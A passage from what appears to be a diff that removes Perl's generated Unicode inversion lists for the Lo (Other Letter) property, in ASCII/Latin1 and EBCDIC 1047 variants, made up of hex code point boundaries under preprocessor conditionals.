0xFFA0, - 0x16B40, - 0x16B44, - 0x16F93, - 0x16FA0, - 0x16FE0, - 0x16FE2 -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_LO_invlist[] = { /* for ASCII/Latin1 */ - 919, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xAA, - 0xAB, - 0xBA, - 0xBB, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x640, - 0x641, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x800, - 0x816, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x972, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE46, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10D0, - 0x10FB, - 0x10FD, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17DC, - 0x17DD, - 0x1820, - 0x1843, - 0x1844, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C78, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x2135, - 0x2139, - 0x2D30, - 0x2D68, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3006, - 0x3007, - 0x303C, - 0x303D, - 0x3041, - 0x3097, - 0x309F, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FF, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA015, - 0xA016, - 0xA48D, - 0xA4D0, - 0xA4F8, - 0xA500, - 0xA60C, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA66E, - 0xA66F, - 0xA6A0, - 0xA6E6, - 0xA78F, - 0xA790, - 0xA7F7, - 0xA7F8, - 0xA7FB, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9E0, - 0xA9E5, - 0xA9E7, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA70, - 0xAA71, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADD, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF3, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xABC0, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10450, - 0x1049E, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1E800, - 0x1E8C5, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LO_invlist[] = { /* for EBCDIC 1047 */ - 917, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9A, - 0x9C, - 0x1BB, - 0x1BC, - 0x1C0, - 0x1C4, - 0x294, - 0x295, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F3, - 0x620, - 0x640, - 0x641, - 0x64B, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7CA, - 0x7EB, - 0x800, - 0x816, - 0x840, - 0x859, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x972, - 0x981, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BD, - 0x9BE, - 0x9CE, - 0x9CF, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA72, - 0xA75, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABD, - 0xABE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAF9, - 0xAFA, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3D, - 0xB3E, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB71, - 0xB72, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBD0, - 0xBD1, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC80, - 0xC81, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBD, - 0xCBE, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCF1, - 0xCF3, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD5F, - 0xD62, - 0xD7A, - 0xD80, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE40, - 0xE46, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF88, - 0xF8D, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x10D0, - 0x10FB, - 0x10FD, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x1380, - 0x1390, - 0x1401, - 0x166D, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x16A0, - 0x16EB, - 0x16F1, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1720, - 0x1732, - 0x1740, - 0x1752, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1780, - 0x17B4, - 0x17DC, - 0x17DD, - 0x1820, - 0x1843, - 0x1844, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x1A00, - 0x1A17, - 0x1A20, - 0x1A55, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1C00, - 0x1C24, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C78, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x2135, - 0x2139, - 0x2D30, - 0x2D68, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x3006, - 0x3007, - 0x303C, - 0x303D, - 0x3041, - 0x3097, - 0x309F, - 0x30A0, - 0x30A1, - 0x30FB, - 0x30FF, - 0x3100, - 0x3105, - 0x312F, - 0x3131, - 0x318F, - 0x31A0, - 0x31BB, - 0x31F0, - 0x3200, - 0x3400, - 0x4DB6, - 0x4E00, - 0x9FEB, - 0xA000, - 0xA015, - 0xA016, - 0xA48D, - 0xA4D0, - 0xA4F8, - 0xA500, - 0xA60C, - 0xA610, - 0xA620, - 0xA62A, - 0xA62C, - 0xA66E, - 0xA66F, - 0xA6A0, - 0xA6E6, - 0xA78F, - 0xA790, - 0xA7F7, - 0xA7F8, - 0xA7FB, - 0xA802, - 0xA803, - 0xA806, - 0xA807, - 0xA80B, - 0xA80C, - 0xA823, - 0xA840, - 0xA874, - 0xA882, - 0xA8B4, - 0xA8F2, - 0xA8F8, - 0xA8FB, - 0xA8FC, - 0xA8FD, - 0xA8FE, - 0xA90A, - 0xA926, - 0xA930, - 0xA947, - 0xA960, - 0xA97D, - 0xA984, - 0xA9B3, - 0xA9E0, - 0xA9E5, - 0xA9E7, - 0xA9F0, - 0xA9FA, - 0xA9FF, - 0xAA00, - 0xAA29, - 0xAA40, - 0xAA43, - 0xAA44, - 0xAA4C, - 0xAA60, - 0xAA70, - 0xAA71, - 0xAA77, - 0xAA7A, - 0xAA7B, - 0xAA7E, - 0xAAB0, - 0xAAB1, - 0xAAB2, - 0xAAB5, - 0xAAB7, - 0xAAB9, - 0xAABE, - 0xAAC0, - 0xAAC1, - 0xAAC2, - 0xAAC3, - 0xAADB, - 0xAADD, - 0xAAE0, - 0xAAEB, - 0xAAF2, - 0xAAF3, - 0xAB01, - 0xAB07, - 0xAB09, - 0xAB0F, - 0xAB11, - 0xAB17, - 0xAB20, - 0xAB27, - 0xAB28, - 0xAB2F, - 0xABC0, - 0xABE3, - 0xAC00, - 0xD7A4, - 0xD7B0, - 0xD7C7, - 0xD7CB, - 0xD7FC, - 0xF900, - 0xFA6E, - 0xFA70, - 0xFADA, - 0xFB1D, - 0xFB1E, - 0xFB1F, - 0xFB29, - 0xFB2A, - 0xFB37, - 0xFB38, - 0xFB3D, - 0xFB3E, - 0xFB3F, - 0xFB40, - 0xFB42, - 0xFB43, - 0xFB45, - 0xFB46, - 0xFBB2, - 0xFBD3, - 0xFD3E, - 0xFD50, - 0xFD90, - 0xFD92, - 0xFDC8, - 0xFDF0, - 0xFDFC, - 0xFE70, - 0xFE75, - 0xFE76, - 0xFEFD, - 0xFF66, - 0xFF70, - 0xFF71, - 0xFF9E, - 0xFFA0, - 0xFFBF, - 0xFFC2, - 0xFFC8, - 0xFFCA, - 0xFFD0, - 0xFFD2, - 0xFFD8, - 0xFFDA, - 0xFFDD, - 0x10000, - 0x1000C, - 0x1000D, - 0x10027, - 0x10028, - 0x1003B, - 0x1003C, - 0x1003E, - 0x1003F, - 0x1004E, - 0x10050, - 0x1005E, - 0x10080, - 0x100FB, - 0x10280, - 0x1029D, - 0x102A0, - 0x102D1, - 0x10300, - 0x10320, - 0x1032D, - 0x10341, - 0x10342, - 0x1034A, - 0x10350, - 0x10376, - 0x10380, - 0x1039E, - 0x103A0, - 0x103C4, - 0x103C8, - 0x103D0, - 0x10450, - 0x1049E, - 0x10500, - 0x10528, - 0x10530, - 0x10564, - 0x10600, - 0x10737, - 0x10740, - 0x10756, - 0x10760, - 0x10768, - 0x10800, - 0x10806, - 0x10808, - 0x10809, - 0x1080A, - 0x10836, - 0x10837, - 0x10839, - 0x1083C, - 0x1083D, - 0x1083F, - 0x10856, - 0x10860, - 0x10877, - 0x10880, - 0x1089F, - 0x108E0, - 0x108F3, - 0x108F4, - 0x108F6, - 0x10900, - 0x10916, - 0x10920, - 0x1093A, - 0x10980, - 0x109B8, - 0x109BE, - 0x109C0, - 0x10A00, - 0x10A01, - 0x10A10, - 0x10A14, - 0x10A15, - 0x10A18, - 0x10A19, - 0x10A34, - 0x10A60, - 0x10A7D, - 0x10A80, - 0x10A9D, - 0x10AC0, - 0x10AC8, - 0x10AC9, - 0x10AE5, - 0x10B00, - 0x10B36, - 0x10B40, - 0x10B56, - 0x10B60, - 0x10B73, - 0x10B80, - 0x10B92, - 0x10C00, - 0x10C49, - 0x11003, - 0x11038, - 0x11083, - 0x110B0, - 0x110D0, - 0x110E9, - 0x11103, - 0x11127, - 0x11150, - 0x11173, - 0x11176, - 0x11177, - 0x11183, - 0x111B3, - 0x111C1, - 0x111C5, - 0x111DA, - 0x111DB, - 0x111DC, - 0x111DD, - 0x11200, - 0x11212, - 0x11213, - 0x1122C, - 0x11280, - 0x11287, - 0x11288, - 0x11289, - 0x1128A, - 0x1128E, - 0x1128F, - 0x1129E, - 0x1129F, - 0x112A9, - 0x112B0, - 0x112DF, - 0x11305, - 0x1130D, - 0x1130F, - 0x11311, - 0x11313, - 0x11329, - 0x1132A, - 0x11331, - 0x11332, - 0x11334, - 0x11335, - 0x1133A, - 0x1133D, - 0x1133E, - 0x11350, - 0x11351, - 0x1135D, - 0x11362, - 0x11400, - 0x11435, - 0x11447, - 0x1144B, - 0x11480, - 0x114B0, - 0x114C4, - 0x114C6, - 0x114C7, - 0x114C8, - 0x11580, - 0x115AF, - 0x115D8, - 0x115DC, - 0x11600, - 0x11630, - 0x11644, - 0x11645, - 0x11680, - 0x116AB, - 0x11700, - 0x1171A, - 0x118FF, - 0x11900, - 0x11A00, - 0x11A01, - 0x11A0B, - 0x11A33, - 0x11A3A, - 0x11A3B, - 0x11A50, - 0x11A51, - 0x11A5C, - 0x11A84, - 0x11A86, - 0x11A8A, - 0x11AC0, - 0x11AF9, - 0x11C00, - 0x11C09, - 0x11C0A, - 0x11C2F, - 0x11C40, - 0x11C41, - 0x11C72, - 0x11C90, - 0x11D00, - 0x11D07, - 0x11D08, - 0x11D0A, - 0x11D0B, - 0x11D31, - 0x11D46, - 0x11D47, - 0x12000, - 0x1239A, - 0x12480, - 0x12544, - 0x13000, - 0x1342F, - 0x14400, - 0x14647, - 0x16800, - 0x16A39, - 0x16A40, - 0x16A5F, - 0x16AD0, - 0x16AEE, - 0x16B00, - 0x16B30, - 0x16B63, - 0x16B78, - 0x16B7D, - 0x16B90, - 0x16F00, - 0x16F45, - 0x16F50, - 0x16F51, - 0x17000, - 0x187ED, - 0x18800, - 0x18AF3, - 0x1B000, - 0x1B11F, - 0x1B170, - 0x1B2FC, - 0x1BC00, - 0x1BC6B, - 0x1BC70, - 0x1BC7D, - 0x1BC80, - 0x1BC89, - 0x1BC90, - 0x1BC9A, - 0x1E800, - 0x1E8C5, - 0x1EE00, - 0x1EE04, - 0x1EE05, - 0x1EE20, - 0x1EE21, - 0x1EE23, - 0x1EE24, - 0x1EE25, - 0x1EE27, - 0x1EE28, - 0x1EE29, - 0x1EE33, - 0x1EE34, - 0x1EE38, - 0x1EE39, - 0x1EE3A, - 0x1EE3B, - 0x1EE3C, - 0x1EE42, - 0x1EE43, - 0x1EE47, - 0x1EE48, - 0x1EE49, - 0x1EE4A, - 0x1EE4B, - 0x1EE4C, - 0x1EE4D, - 0x1EE50, - 0x1EE51, - 0x1EE53, - 0x1EE54, - 0x1EE55, - 0x1EE57, - 0x1EE58, - 0x1EE59, - 0x1EE5A, - 0x1EE5B, - 0x1EE5C, - 0x1EE5D, - 0x1EE5E, - 0x1EE5F, - 0x1EE60, - 0x1EE61, - 0x1EE63, - 0x1EE64, - 0x1EE65, - 0x1EE67, - 0x1EE6B, - 0x1EE6C, - 0x1EE73, - 0x1EE74, - 0x1EE78, - 0x1EE79, - 0x1EE7D, - 0x1EE7E, - 0x1EE7F, - 0x1EE80, - 0x1EE8A, - 0x1EE8B, - 0x1EE9C, - 0x1EEA1, - 0x1EEA4, - 0x1EEA5, - 0x1EEAA, - 0x1EEAB, - 0x1EEBC, - 0x20000, - 0x2A6D7, - 0x2A700, - 0x2B735, - 0x2B740, - 0x2B81E, - 0x2B820, - 0x2CEA2, - 0x2CEB0, - 0x2EBE1, - 0x2F800, - 0x2FA1E -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && 